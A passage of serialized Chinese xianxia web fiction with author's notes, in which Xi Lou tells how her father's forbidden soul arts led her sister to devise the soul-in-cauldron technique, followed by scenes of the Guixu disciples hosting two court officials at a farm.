总不能任嵩华不与前辈交谈这一反应一直没能发生,是少了眼前这位名叫奚楼的反应催化剂吧? 心念电转间,关云铮想明白了什么,试探着问道:“前辈来过归墟?” 奚楼的目光停留在不熄鼎上:“来过,许多年前。” 关云铮顺着她的视线看过去,顿时更明白了一些,脸上的神情都凝重起来:难怪任师姐不想搭理她,怕不是戚师叔快出事那阵子,她上归墟来触过霉头吧? 她沿着这个思路大胆猜测了一番:难道是在任师姐还不知道自己师父快死了的时候,点破了这一事实? 奚楼看上去不像那么棒槌的,昆仑上一任掌事又是她姐姐……所以当时点破的人可能是奚亭?只不过奚楼当时也一定在场,所以迁怒于她,也是在所难免。 关云铮无声在心里叹了口气。 这种感觉大概无异于被人告知自己最重要的人时日无多,哪怕那个点破事实的人并没有说错,活着的人恐怕也无法控制对ta的怨恨。 为什么要说出口?为什么要把梦境打破? 更何况……如今戚寻月的状态算不上活着,也算不上真正意义的死了,那一套扶乩一般的沟通之术,是任嵩华在何种心情之下学会的,又花了她多少岁月呢? 关云铮从不熄鼎上收回视线,发现练剑台旁边已经没有任嵩华的身影了。 奚楼显然也注意到了,大概她原本就是为任嵩华而来,此刻见人走了,正打算起身,就听见站在她面前的关云铮问道:“前辈,有一件事晚辈好奇许久了,前辈可愿为我解惑?” 奚楼似是惊讶地“嗯?”了一声:“是什么,说来听听。” “将戚师叔的神魂投入这口鼎之中,助它永不熄灭,这个法子是谁提出来的?” 章存舒对关于戚寻月的事闭口不谈,步雁山虽然与章存舒相反,几乎对此知无不言,但也从未提起过这法子究竟是谁想出来的,谁做的决定。 她也不是没想过,为什么“以神魂入器”这样几乎称得上“邪修手段”的法子,会被用在归墟这样的门派里,还被知情者默契地避而不谈。 如果不是因为她本来就是个不太在乎手段的人——只要不损害别人的利益,在双方你情我愿的情况下,用点什么手段旁人其实是无从置喙的,到了这种场合,或许就该跑回师门去质疑了。 为什么名门正派会用这样的手段?有怎样的目的? 但她不是这样的性格,她也看过戚寻月的记忆,清楚即便是这样的手段,也一定是她认可的。 所以讨论究竟该不该用这法子就变得没什么意义了,问题的重点便转为:是谁提出的法子。 如今她见到了奚楼,得知姐妹二人当年来过归墟,有一个念头便从心底冒了出来:这法子有没有可能不是章存舒师兄弟三人想出来的呢? 奚楼直直迎着她的目光,好半晌没有言语。 护山大阵覆盖来去峰后,此处的风声也弱了不少,两人一坐一站,都能清楚地听见不熄鼎之下的火焰燃烧时发出的轻微声响。 “是我姐姐。”奚楼在这声响中开口说道—— 作者有话说:如果有一个单独的胃拿来装糖炒栗子就好了[可怜] 第162章 “我们的母亲是普通人, 生我时受了一番磋磨,那之后身体便日渐衰弱。于是父亲遍寻古方,找到了一个延长寿命的法子。”奚楼面色平静, 看上去就像步雁山提起戚寻月时一样, “我不知道那法子是什么,只知道没能成功, 没过几年, 母亲还是死了,如果不生下我,大概直到如今她都还活着吧。 “母亲死后,父亲又开始寻找能让躯体不腐不烂的法子,亦或是让神魂留存完好的办法。”奚楼说到这,似乎是觉得疲惫, 抬手揉了一把自己的脸。 那动作很粗放,关云铮只有在情绪崩溃不想见人时, 才会用这样大的力气揉自己的脸。 “躯体腐烂和神魂殒灭都是无可违逆的过程,想必没有找到什么……正派的法子吧?”关云铮在奚楼身侧坐下。 “是啊。”奚楼放下双手, “况且一个普通人的躯体和神魂, 怎么可能不走向殒灭呢?” 就算是修为低些的修士也逃不了躯体极速腐烂的命运,因为这是天地间必不可少的一环。人汲取天地灵气而生,死时就该将所有的东西还给这天地, 将死去的人强留在人世这样的行为不被天道容许, 也必然不会是正派。 “于是就有了将神魂投入器皿这样的法子?”关云铮问道。 奚楼叹了一口气,她叹气时眉毛会短促地皱一下,随着一口气缓缓吐出,眉毛也会逐渐松开,但哪怕松开眉头, 她脸上那层疲惫的风霜也并没有彻底褪去。 “我不知道他是从哪找来的这个办法,大概他也清楚这法子有多不入流,多像邪修,起初他是瞒着我们姐妹二人的。 “但他很快就瞒不住了。因为被强留于世,母亲的尸身……出了问题。”奚楼几乎有些艰难地说出了最后几个字。 关云铮被她话语里明显的退却之意一惊,陡然想到:那时姐妹两人几岁?会记得所有的经过吗? 她一时不忍起来:“前辈,要不还是别说了。” 奚楼低头看了她一眼:“怎么,觉得我还没从中走出来?” 走没走出来都太残忍了,关云铮觉得自己感情上不是很想继续听下去。 “有些事本来是小事,放在心里久了,不向外倾诉,就会逐渐在自己的臆想中变成大事,”奚楼竟然对她笑了笑,“至于那些本来就是大事的事,是瞒不住别人的,总归都要说,不必在意。” 她宽慰似的说完这些话后,不顾关云铮的脸色,继续往下说道:“普通人死后,会先散魂而后躯体腐烂,父亲找到那个法子之后将魂魄强留在母亲的尸身之内,没过几日,母亲就变成了一具活尸。 “邪修鼎盛时活尸并不少见,有些邪修还会用这样的尸体炼成傀儡,它们不惧疼痛,只要指使之人仍有气力操控,就能一直与人拼杀。”她丝毫不觉自己说的话有多恐怖似的,“你应当没怎么下过山,想来也没机会见到活尸。这种东西很有几分邪性,没有神智,但有记忆,认得我和姐姐,但不知道我们是谁。” 关云铮默默掐住自己的手臂内侧,感觉自己已经起了一身鸡皮疙瘩。 “我仍记得那一天,她是偷跑出来的,不知道是想起了什么,跑到我和姐姐练功的地方,在门外隔着缝隙偷看。魂魄留在体内也无法减缓尸身腐烂的速度,她那时形容十分骇人,不过好在头发也披散着,遮住了腐烂大半的脸,露出来的那只眼睛是完好的。 “我练功偷懒,也想去找父亲,就看见了正在偷看的她。很奇怪,死人的眼神那样空洞,隔着缝隙与我对上,我却不觉得害怕,仿佛在那一瞬间就认出那是我母亲似的。 “可她已经不知道我是谁了,所以在和我对上视线后,又悄悄溜走了。那日姐姐始终无法将神识沉入识海,我也总觉烦躁,想必是后来发生之事的征兆吧?又或者是母女连心?只是不知道已经不再跳动的心还能不能与我们的互相感应。 “她逃回去的路上被门中其他人撞见了,事情败露,父亲不得不出面向众人解释。那时候邪修余孽仍在,昆仑作为……很有些年份的老门派,自然眼里揉不得沙子,当即要求父亲将母亲处死。 “父亲没有同意。” 关云铮忍无可忍:“前辈,恕晚辈冒犯,我觉得您父亲可能也不是想留住您母亲,他在以留住您母亲的名义做自己想做的事。” 男人的深情多数时候就像一场表演,他们享受被旁人夸赞深情的感觉,在注视中演得忘情投入,这种投入甚至不需要有具体的对象,他爱的人可以是活的也可以是死的,只要有这个人就够了,哪怕只是坐在台上作为布景存在,这个“人”也能辅助他们将这场戏演下去。 奚楼侧头看了她一眼,见她义愤填膺的模样,没忍住,抬手捏了一把她的脸:“你怎么还生气了?他确实不是真心要救母亲,真心要救人,也就不会让她变成那副模样了,只是那时的我没想通。” 关云铮无端被捏脸,虽然知道很不合时宜,但还是没忍住翻了个隐晦的白眼。 奚楼没注意,接着说道:“父亲虽然做错了事,但平日在门派中很有威严,此事最终还是被他强行镇压下来,但从那日起,我再也没有见过母亲,不知她是真的死了,还是仍以那副模样活着。 “那之后大约又过了一年,父亲做了个法器出来,宣称是日后昆仑的镇山灵器。” 关云铮回头看了眼身后的不熄鼎。 “那东西确实是用神魂养出来的,只是到父亲临死前,我们也没能知道究竟用了哪些人的神魂。”奚楼再度看向关云铮,“要不要猜猜父亲是怎么死的?” 关云铮感觉和奚楼坐在一起,发生的地狱行为实在太多——譬如此时让别人猜自己爹是怎么死的,仿佛是故事讲到精彩处留给观众的互动环节。实在是槽多无口,她一脸无语地接话:“奚亭前辈杀的?” 奚楼不假思索地夸赞道:“好聪明,要不你当我徒弟吧?” 关云铮也不假思索地回话道:“奚亭前辈当年也是这么说的吧。”她无奈地叹了一口气,“你们还真是亲姐妹。” 奚楼毫不意外她能猜出这两件事似的,在叙述的间隙又对她笑了笑:“总之那时父亲再要辩解,门派中人也没那么好骗了,全都质问他,此物究竟是从何而来。姐姐这时才拿出了她私下调查已久的证据,证明父亲一直在用邪修的法子行事,当场斩了父亲。 “为人父者就算再行事无状,为人子女者也不可弑父,哪怕众人都对父亲心生不满,那段时间姐姐的日子也很不好过。不过她也借此剔除了那些老得颐指气使的门派长老,几乎重建了一个昆仑出来。”奚楼从乾坤袋里摸出一叠昆山玉做成的信纸,不知是要写信还是做什么,在膝头摊开后就没了后续动作。 比起前面的叙述,奚亭弑父夺权的全过程被她说得格外简略,可这轻描淡写的言语背后又藏了多少血泪呢? 毕竟那些长老并不是因为奚亭弑父才对她不满,更多是奚亭弑父后成了掌控话语权和门派的人,而他们觉得她一个小姑娘不配吧? 这世上多数关于能力的评价并非真正在讨论能力,而是一种基于自我水平和自我认知的资格论。很多人对自己并不了解的领域指指点点,是因为他们觉得在那个领域中的某个人不如自己,却能比自己登上更大的舞台,得到更多人的瞩目,获得更丰富的资源,他们觉得那个人不如自己“有资格”。 那个人越是成功,这些人就越是愤怒,愤怒继而催生口不择言与谩骂,催生一切“欲戴王冠,必承其重”的所谓“真理”。 聚光灯下,谁都是有罪的。 关云铮觑着奚楼的脸色,发觉她也是个不守“言”德的谜语人,该说的不说,不该说的乱说。自己被迫听了一耳朵昆仑内部的官司,一时之间也变得苦大仇深起来。 “父亲死后,他所用的邪修法子也就落到了姐姐手中,她也研究了不少与神魂相关的邪术禁术,最终在一本孤本中找到了一种没那么邪的法术。”奚楼望着膝上的信纸,“正是你追问的神魂入鼎之术。” **** 待到章存舒师兄弟三人正式回复完所有的信件,归墟的天色已经彻底暗了下来。如今的季节不比冬日,白昼比夜晚要长上许多,忙到这个时候,纵然早已辟谷不重食欲,凌风起和步雁山也有些想去饭堂找点东西果腹。 食物落入腹中能够带来温暖的宽慰感,他们身心俱疲,急需这份无需代价的温暖。 好在饭堂仍有灯在等。 关云铮白日里耽搁了时间,正在灯下练习符咒,不时还与更为精通符咒的叶泯讨论几句笔画的走势和力道。听见脚步声她也没抬头,只心不在焉地向一旁的李演说道:“李厨,我听师父他们快饿死了,你准备的食物怕是不够。” 李演言语间颇不客气:“喂牛都够,除非他们忽然间不是人了。” 关云铮瞬间破功,和楚悯一起在桌边笑作一团。 叶泯和谭一筠对这一句全然没有防备,想笑时章存舒三人又已经跨过门槛进门来了,登时憋成了两颗颜色喜庆的柿子。 关云铮无所顾忌,笑够了才对章存舒说:“师父,你们都回了些什么,要折腾这么久。” 章存舒接过李演盛好的粥,才用勺子舀了一勺,就重重地叹了口气。 那模样还怪凄惨的,但关云铮看着又有些想笑,好悬忍住了,手头将自己画的符咒推给叶泯,助他分散些注意力,嘴上故作惊讶:“小师叔怎么都快凋谢了?!” 步雁山疲惫地摆了摆手,连叹气的力气也没有了。 平日里说话最有劲的凌风起看了关云铮一眼,没揭穿她轻微的幸灾乐祸,还好心地解释道:“来信询问大比一事的,自然要认真回复;不怀好意的,一律阴阳怪气回去。” 谭一筠拿子不语遮住半张脸,以免自己控制不住笑得太过放肆:“怎么个阴阳怪气法?” 凌风起喝了口粥,冷嗤一声:“怎么从未听说贵派败落至此,还有兴致对旁的事生出这样多的闲心?” 简而言之:闲的吗,关你屁事。 关云铮默默听着,脑海中幻想出凌风起化作一架“嘴炮”,无差别地突突走所有别有用心之人的画面。 这画面抽象中带着一丝真实可行的色彩,猎奇中又不乏真诚,诡异又和谐,差点让关云铮也因为憋笑成为一颗熟过头的柿子。 四人中唯有楚悯艰难地维持住了弟子在先生面前的尊敬,带着几分求知若渴的认真神色问道:“询问大比一事的人都问了些什么?大比不是每年都办,无甚差别吗?” 非要说的话,到时也就幻境有些不同寻常,但这也是去年大比时实践过的形式了,没道理这么多门派都没参加过去年的,也不提前打探过消息,还要临上考场前问监考老师考试范围的吧? ——整本书都是范围哦。 步雁山喝了半碗粥,热量尚未转化完全,心里已经得到了慰藉,没有放任凌风起继续雨露均沾地喷人,开口说道:“多是询问住处的,还有弟子在归墟接受教习的,旁敲侧击地询问他们在此地境况如何。” “那言辞恳切话语凄清,活像是归墟虐待他们宝贝徒弟。那些徒弟不都长嘴了?听他们说还不够?总不能亲口说的话也是在归墟胁迫之下才说的吧?”凌风起又在骂。 凌长老锋锐难当,一时之间没人敢接他的话茬,好在他也不在意,夹了两筷子小菜自顾自地接着吃了。 “这样说来……”眼见气氛得到了缓和,关云铮看向楚悯,“有件事我好奇很久了,欠打那位究竟是天问谁的徒弟?” 那时下山她在议事堂也见过天问几位长老,看起来都不太像是会教出这种弟子的人。 楚悯脸上顿时流露出一丝为难的神色:“他父母双亡,父亲尚且在世时也是他的师父,父亲亡故后,掌门本想为他换一位师父,但他不愿意,因此没有师承。 “他始终怀疑自己的父亲并非病逝,而是有人设计暗害,因为表现得太过偏激,兄长也多次向掌门提起过此事,但掌门……”楚悯一时之间不知道该怎么形容。 关云铮和桌上三位大人却都听懂了。 天问掌门割舍七情六欲,恐怕并不能理解这些。不能理解,也就不大会放在心上,久而久之,赵乾达可能就将他的态度当成了轻视,但他的能力又不足以向掌门报复,于是便开始找各种由头,挑衅作为掌门幼女的楚悯。 也不知错究竟在谁身上。 楚悯叹了口气:“有时我觉得自己并不无辜。” 叶泯没听懂前面的沉默,却清楚赵乾达对楚悯是个什么态度,也知晓此人的行事作风,不解道:“你又没做错什么。” 楚悯轻轻摇了摇头:“因为我父亲是天问一派的掌门,我还有个通情达理、颇为宠爱我的兄长,同时还小有天赋,在天问一道上创下成就,可以走比别人更短的路。” 她是如此幸运,仿佛是赵乾达年幼失怙后孤立无援的一生……标准的反面写照。 这大概就是……幸运之人对不幸之人的愧怍吧?* 关云铮能够理解这种情绪,但还是说道:“他的苦难并不是你造成的,你也没有义务承担这些苦难的回馈。说得难听些,赵乾达是一个可怜但无能之人,他觉得世道不公,那他就该捅破这一切,还自己一个公平;他觉得事有蹊跷,那他就该查清真相,老是纠缠你、打搅你的平静算什么?看你好欺负吗?” 她剥了颗栗子顺手塞进楚悯嘴里:“而且他的路早就走窄了,偷偷与仙盟传信也不知道究竟藏的什么心思,还要给信件加密,到头来他也成了曾经自己所不齿的,使些阴损招数的人。” 这种人,完全不值得同情。 受害者变成加害者的过程固然触目惊心,偶尔还会令人痛心疾首,但关云铮只觉得这种人面目可憎,比单纯的加害者更可恨。 坚守正义是很难,坚守本心就更难了,但人至少可以不去害人吧?这难道也很难做到吗?自己口口声声嚷着都是别人害的爹娘,到头来却要迫害他们这群同辈,好一出“只许州官放火,不许百姓点灯”的双标戏码,惹人发笑。 “不急,”章存舒终于放下碗,“再阴损的招数,也用不了多久了。” **** 章存舒的话很快便成了真。 学子之乱后,仙盟中几乎所有人都被朝廷收缴了可通信的法器,安排在了截断灵气的牢狱之中——尽管没人知道朝廷为何会有这样多的锁灵阵,最后只留下几位本就是朝廷安插之人与外界联络沟通,就连抵达归墟参与大比观礼的,也没有一个是正经“仙盟人”。 比苍韫桢先一步抵达归墟的是两位女官,其中一位关云铮和同伴们还都认识。 ——正是原应在江县做官的陆识微。 章存舒应当是早就得了消息,知道来人是她,让关云铮和同伴们一起到山门处接人。 关云铮和楚悯走在前,隔了好些距离就看见了才下灵舟的陆识微,正要快走几步上前打声招呼,就见她手忙脚乱地扑到一旁的树下,扶着树干乱吐一通。 两人脸上顿时流露出不忍的神色,可怜的晕船人。 之前为了应对章存舒无良的缩地成寸技术,凌风起给他们四人一人塞了一瓶对症的丹药,关云铮伸手从乾坤袋里把丹药拿出来,虽然早就知道隙影这群小东西极度聪明,但还是忍不住纳闷了一瞬间:那么多瓶长得一模一样的丹药,它们是怎么知道每一瓶对应症状的?她从没拿错过。 她快走几步扬声喊道:“陆大人!” 陆识微下意识抬头,原本还在疑惑是谁的声音,见到她和楚悯后勉力露出一个笑:“是你们。” “吃了这个会好受些。”关云铮把丹药递给她,“第一次坐灵舟不太适应吧?” 陆识微疲惫地点点头,接过丹药:“有水吗?” 关云铮这段时日都在临时抱佛腿,没空做菜煮茶,乾坤袋里的奶茶也早都喝完了,只能扭头看向身后三位同伴。 才与叶泯对上视线,就见他露出一丝疑惑的神色,看向了她身后。 关云铮倍感莫名地转回身,只见灵舟上又下来一个人,还拿出了一只盛水的葫芦,递到陆识微手边。 陆识微伸手接过:“多谢沈大人。” 四位少年虽然都没见过此人,但还是跟着陆识微老实问好:“见过沈大人。” 沈时安摆了摆手示意不必多礼,又看向关云铮道:“丹药可还有?灵舟竟行进得如此迅捷,我也晕得厉害。” 关云铮连忙把丹药递给她。 两人就着水将丹药咽下去,沈时安率先说道:“陛下令我二人先来归墟……” 楚悯见她欲言又止,好奇道:“来归墟?” 沈时安与缓过劲来的陆识微面面相觑片刻,最终还是屈服道:“陛下让我们来帮忙,可才到归墟我们就闹出这样的笑话,真是……” 关云铮还当是什么大事,闻言笑道:“先前不曾见过沈大人,您是在陛下身边的时间多些,还是像陆大人一样,与柳大人公事的时间多些?” 沈时安微愣:“我是陛下身边御书房司记。” 关云铮作恍然状:“看来沈大人还没怎么受到陛下的影响,怎么会以为身体不适是闹笑话?这不是人之常情吗?” 陆识微与他们更相熟些,搭了搭沈时安的肩:“不必拘谨,我们来此地自然也不会整日乘灵舟,不影响办事。” 沈时安其实也不是拘谨的性格,但自觉此次出行表现不好恐怕要给陛下丢脸,难免紧绷了些,此时听关云铮和陆识微都说没什么,才稍稍放松下来:“可有什么我们帮得上忙的?” 关云铮若有所思:“来客之前的事都被师父和掌门安排得差不多了,暂时没有别的事。倒是你们的住处需要安排,两位大人想住在山上还是山下?” 仙家丹药果然不同凡响,陆识微现下头也不晕了,胃里也平静了,再开口时的底气都足了些,只是说出口的话还是带着一股虚弱感:“哪个近一些?” “山上的更近些。”关云铮如实答道,“不过我更推荐你们住在山下,一来山上暂时没什么太过要紧的事,二来山下风水自然也更好些,住在那心情好。” 沈时安将葫芦收起来:“山下的有多远?” 楚悯朝她笑了笑:“不算很远,从这出发再走二里地就到了。” 沈时安看向陆识微:“识微想去哪?” 陆识微尚在虚弱中,确实不想走太远的路,但关云铮话里的“风水自然”也是真的说动了她,毕竟她自乡野而来,在那样的环境中也更自在些。 陆识微看向关云铮:“既如此,就有劳你们带路了,我们住山下。” 叶泯和谭一筠自觉走在前面带路,让两位姑娘和女官们说话。 “山下……是住客栈?”沈时安好奇,“客栈似乎也在城中,会有怎样的风水自然?” “是住农庄。”关云铮笑眯眯地说,“农庄里有各色时令蔬果,还有鱼塘荷塘,可以捕鱼采莲子。” 这就跟江县不大一样了,陆识微若有所思:“我们住在农庄,是否应该给农户租钱?” 关云铮狐假虎威,借师兄家里的家产充大款,老神在在道:“无需担心,农户都是自己人,你们是客人,不收租钱的。” 沈时安和陆识微对视一眼,都在彼此眼中读到了一丝惊诧:归墟家大业大至此,究竟哪里破落了?!—— 作者有话说:多出来的2k+是补的周五(?)不够的,小菇还是很信守承诺的吧[墨镜] 我也想去归墟上学(撒泼打滚) 第163章 往农庄走的路上风景不错, 常常有几树繁花盛放在路边,莺啭鸟啼不绝于耳。风景好的时候路途会显得不那么遥远,待沈时安从路边的景致收回神时, 农庄已经近在眼前了。 “沈大人?”走在她前面的关云铮出声提醒, “当心脚下。” 农庄景色虽好,但路确实多有不便, 要想进入暂时只能走田埂, 好在来往的人多了,田埂被踩得比较紧实,近日也没怎么下雨,不至于沾得半腿泥泞。 关云铮和楚悯一前一后地将陆沈两人夹在中间,提防着她们因为不熟练而摔进一旁的田地里。 “陆大人,有没有回到江县的感觉?”关云铮脚下未停, 半侧过身看向陆识微。 江县虽然是个县城,但与镜溪相比落后许多, 不少路破败得与脚下田埂难分伯仲,纵然不知重建后的江县如何了, 但关云铮估计陆识微如果是从小在江县长大, 应当见识过不少这样的路,也不知她会不会感到亲切。 陆识微脚下稳健,朝她笑了笑:“我也许久不曾真正回归乡野了, 上次洪灾过后一直在忙水渠修建的事, 偶尔去田间地头看看新种的草药。” 闻言,她身后的沈时安抬起头,谁料这一抬头,脚下立时不稳,被身后的楚悯托了一把, 这才站住:“哎哟,差点一头栽田里了。江县何时开始种的草药?怎么都没听人提过,来时路上你也没说。” 陆识微回头把一只手递给她:“没种出来,怎么好意思上报,自然没人说起,更没法与你说了。” 沈时安看着她伸过来的手一愣,随后伸出自己的手与她相牵:“那水渠呢?前些日子似乎看到折子,说是已经投入使用了?” “也只是部分流域,周边几个县城的水系与我们不算相通,也不愿意拿出这么多的银钱兴修水利,暂时只能保证今年暴雨时节到来时,江县不会再发生那样严重的洪灾。”陆识微叹了口气,“柳大人自那时起便常在朝安江县两地之间奔波,听说前些日子还受了伤,真是……” 走在最前面的关云铮脚步一顿:“柳大人受伤了?” 沈时安点点头,意识到关云铮看不到后又“嗯”了声:“学子闹事时柳大人也在现场,听宫中的御医说,是肩后伤了,伤口吓人,但是不严重,是皮外伤。” 伤口吓人?砸伤?刀伤?烧烫伤? 关云铮脑海中一瞬间浮现出许多种可能,最终还是没往下追问,只侧过身向身后的两人道:“到了,我带你们去住的地方,时辰还早,二位想在路途中找地方歇脚赏景也是可以的。” 陆识微牵着沈时安从田埂上下来:“看来住山下的决定是对的,呼吸了山下的风,我都不怎么头晕了。” 沈时安失笑:“那是丹药的作用吧?” “丹药为主,清风为辅,你说是不是?”后半句她是对着关云铮说的,后者对上她的视线,扬起一个微笑。 此处何止有清爽的风,接下来的几日势必要让这两位体验体验,在农庄住着有多舒服。 **** 关云铮四人带着沈陆二人在农庄各处玩了一整日,傍晚时才回到住处,农户们已经安排了一桌菜候着。 陆识微对农户脸上拘谨的神情很熟悉,江县灾后重建期间,灾民们面对她时几乎都是这样的神情。 但是这些农户与她们几乎素不相识,这样多的善意又是从何而来呢? 疑心自己是“狐假虎威”的陆识微回头看了眼正在和农户说话的关云铮,后者察觉到视线朝她看过来:“怎么了?” ——来住下之前,关云铮和楚悯特地请求过,接下来几日可能不大会在农户面前称她们为“大人”,虽然农户也都知道她们是客人,但“客人”之上还要加一重“大人”,压力就有些太大了。 两人自然对此没意见。 陆识微对上关云铮的视线,笑笑没说话。 关云铮自觉她有话要说,却碍着农户在场不大方便,于是同相熟的婶婶又卖了个乖,提前结束话题走过来:“是这桌菜里有什么忌口吗?” 陆识微摇摇头:“云铮,这农庄究竟与你们门派是什么关系?” 沈时安也看过来:“我怎么觉得我们沾了你们的光,得了不少优待?” 谭一筠把两壶去年酿的桂花酿端上桌:“怎么会是沾光?二位大人为国为民,本就该得到优待。” 两道目光顿时投向他。 关云铮搭着楚悯的肩和人说悄悄话:“我都担心话痨这句拍到马腿上。” 叶泯站在两人旁边,自然听见了这句,忍住笑意:“不好说,总觉得这两位大人都不吃这套。” 恭维的话,沈时安作为近臣自然听了不少,没什么新鲜的;陆识微虽然身处僻远些的江县,官职也不高,但县城中那些商户在重建后,对她的态度发生了转变,点头哈腰的行为不算很少见。 原本两人都该对这样的话反应寡淡,但说这话的是个少年,事情就变得不能一概而论了。 少年人若是学得像大人那样八面玲珑,有的大人见了会心生厌烦,有的大人会觉得这样的孩子心思灵巧。而陆识微和沈时安的想法不属于这两种,属于比较一致的第三种:想必这个少年是承担了团体中“最会说话”的位置。 团体中的人自然各有分工,沈时安和陆识微在某些方面就是彼此互补的。两人在来时路上探讨过陛下和柳相选中她们前来归墟的理由:除了对她们较为知根知底之外,余下的便是互补。 陆识微看似为人谨慎得过了头,偶尔还有些迂腐陈旧,实则很有壮士断腕、破釜沉舟的决心,在大事上颇为牢靠;沈时安则与其完全相反,看上去心思粗漏,实则很是谨慎,在细节处常常反复推敲,几乎从不出错。 陆识微分明是在柳相的培养下成长起来的,行事作风却更像陛下;沈时安则一直在陛下眼皮子底下做事,反倒越来越像柳相了。 大概是因为陛下与柳相,也是在这样互补的情况下,彼此见证了成长吧。 陆识微率先收回心绪,看向谭一筠:“多谢,看来这农庄是你们归墟中人名下私产?” 而且看关云铮他们对农庄如此熟门熟路的模样,估计此人不只是归墟中人,还极有可能是苍生道之人。 沈时安顺着她的话思索一番,想到个可能:“难道是你门中那位闻家公子?” 左右自己不是农庄背后的资本,关云铮没什么心虚的:“二位果然一猜就中,此处确实是我三师兄家中私产。” 沈时安回忆着动身前往归墟之前,翻看的那些名册:“你师兄家中倒确实是这样的做派,在朝安也没少为农户解决粮食销路。” 陆识微对此事不甚了解,闻言转身看她:“那些粮食后来卖给谁了?” 沈时安给两人各倒了一杯桂花酿:“闻家名声大,粮食品质也好,许多人会奔着名气上门买粮,倒是不知具体销往何处,想来朝安城中想与闻家攀扯上几分关系的,都在他那买过粮。”她停顿片刻,招呼四位少年入座,后又继续说道,“去年倒是有一批送去江县了,不知你当时可在?” 陆识微一愣,随即顺着记忆想了想,还真从某处翻找出一点零星的印象:“原来那是闻家送来的粮?” 沈时安点点头:“闻家名下产业无数,不靠农户这点粮食赚银钱,据说与农户合作的生意大多数都是亏损,全靠家主往里头贴钱。” 关云铮四人没在苍生道听过这部分,顿时默契地心想:闻师兄怎么连这事都不曾提起过,当真是菩萨吗? 是不是菩萨他们暂时无从得知,沈时安说完这些便适时止住话题,挑起了另一件正事的话茬:“先前玩得正高兴,险些忘了问,”她看向关云铮,“如今可有门派已经抵达归墟了?” 关云铮如实相告:“昆仑派的已经到了有些日子了。” “昆仑?”沈时安询问的语气一顿,“她们不是避世已久,不参与外界一应事务吗?” 叶泯摊手:“谁知道她们是怎么想的。” 其实他知道,但他暂时不能说,要说也不能在农庄里随口秃噜出去了。 沈时安若有所思,随后被筷子碰触碗沿发声音唤回神。只见陆识微正看着她:“虽然天气热了,但菜不趁热吃味道就不好了,有什么话用完饭再说吧?” 也对。 沈时安抄起筷子:事情不急,还是先吃饭吧。 **** 夏日白昼长,用过晚饭后太阳才从空中下坠了一半,远望去像颗巨大的咸蛋黄。 等等……为什么才吃完又想到吃的了。 关云铮在心里唾弃自己,又看向起身的陆沈二人:“住处与此处有些距离,不如现在便过去,权作饭后消食?” 两人自然没意见,一前一后跟上关云铮的脚步。 细究的话,她们的年纪其实也不比关云铮四人大多少,只是除了谭一筠气度老成些,另外三位看着都显得格外小,虽然一看就不是寻常人,但那脸上的青涩气息是做不了假的。 被官场的风霜和人心磋磨过的,到底还是与在仙门中修炼的孩子们不大一样了。 两人不约而同在心里感慨着,倒并不觉得心酸,毕竟每个人都有自己的路要走,如今展现出不同的模样,也只是因为脚下的路各不相同罢了。 再者说,以眼前几位少年的心性,就算踏入官场,大约也能创下一番功绩吧? 楚悯走在陆沈两人身侧,不知从她们的神情上看出了什么,忽而笑眯眯地说道:“二位太抬举我们啦。” 沈时安被她话里的意思惊得一激灵,下意识脱口道:“你……”话音脱口后她才意识到自己反应过激,又收敛了些许,“我们表现得这般明显吗?” 另一边的叶泯忽而转回身:“是啊,方才走路时一直觉得有两道‘甚是宽慰’的目光在我身后,想必就是二位大人吧。” 陆识微失笑:“官场还真是消磨人,我竟然觉得你方才那句改成‘老怀甚慰’更为合适。” 关云铮不知从哪折来两支荷花,从远处一路小跑而来,一人一支塞进了两人怀里:“说什么呢,怎么就到老的地步了?两位大人正是青春时,还有许多大好年华要过呢。” 谭一筠摇着子不语跟在她身后,闻言从她身后探出脑袋调侃:“这些漂亮话不该交由我来说吗?云铮怎么抢我的活计?” 关云铮毫不掩饰地翻了他一眼,擦干手上的水渍:“摘花献花这事,女孩做就自然得多,男孩做算什么,好油腻。” 纵然油腻是个21世纪才被用来形容人的词汇,但毕竟这类人与它原本形容的物体具有极高的相似性,故而谭一筠瞬息之间便明白了她的意思,顿时大为破防:“那叶泯呢?他摘花献花如何?” 楚悯轻飘飘地经过他身侧:“略胜一筹。” 毕竟叶泯不会说漂亮话,极大地削弱了油腻感。 实在搞不懂他为何要同两位姑娘争辩这些——毕竟根本争不过那两位的口才,叶泯经过他时同情地搭了搭他的肩膀:“惭愧,竟有略胜一筹的一天。” 到了这个地步,再看不出这几位少年是为了逗自己高兴,陆沈两人这一年多就白在官场浮沉了。 陆识微率先接过话茬:“小筠献花自然也是好的,不过荷花云铮已经献过了,你恐怕得换一种啦。” 沈时安也跟上她的话:“漂亮话怕是也得换一套咯?” 见两人终于放下脸上那种过于持重的神色,四位少年默契地停止耍宝,走在最前的楚悯此时回头道:“到了,接下来一段时日,二位就住在这处院子,用饭依旧在方才的屋子。” 叶泯也从乾坤袋里摸出两张符咒:“这是我做的传音符,二位若有疑问或是需求,可随时用此物与我们联络。” 沈时安正要遵循本能推拒,忽而又想到四人方才那一番辛苦,转而笑道:“好,只是不知如何使用?” 叶泯将符咒递给二人:“符咒会辨别二位的灵,若察觉到二位有传话的心思,就会将话传给我们。” 陆识微此时终于露出了一点“长见识”的神色,接过符咒后,颇为好奇地将布帛在手里反复翻看了一番:“若是你们有事要找我们,又当如何?” 关云铮爽朗道:“我们来接你们上山!”—— 作者有话说:今天仿佛被这个阴雨天下降头了,什么劲头也提不起来[化了]不管怎么说还是迟到了(跪) 第164章 “怎么接?”沈时安连陛下会术法一事都是前几日才得知, 此时对修道的一应细节十分好奇,“御剑?” 关云铮第一时间想到的法子其实是传送阵法,毕竟农庄里遍布谭一筠布下的传送阵, 实在是个不二之选。但是传送阵法也是空间置换, 过程中产生的轻微不适感因人而异,从沈陆两人坐完灵舟后的反应来看, 这个方法是否合适还有待商榷, 也就不用过早给她们压力,于是她摆摆手:“到那时再说,不急。今日天色已晚,二位就先休息吧,我们回去啦。” 她说走就走,还顺手拉上了楚悯和叶泯, 谭一筠只好慢她一步,自觉落在后面同两人解释道:“房中物品应当都是齐全的, 如果有别的需要,可以问旁边那处院子的农户要, 无需拘谨, 周围的农户都是好说话的婶婶们。” 陆识微没对关云铮匆匆离开做出评价,只是点点头说道:“好,多谢你们。” 沈时安一手搭着陆识微的肩, 对谭一筠笑道:“云铮好像走得很急, 你还不跟上?” 谭一筠顺着她的话一回头,发现关云铮已经脚下飞快地走出去好远了,连忙道别:“既如此我就先走了二位大人早些休息下次见。” 说完这话后,谭一筠一口气还没喘匀便迈开腿跑了起来,跟上关云铮的脚步时已经喘成了一个漏气的风箱:“我说……云铮你走这么快做什么?” 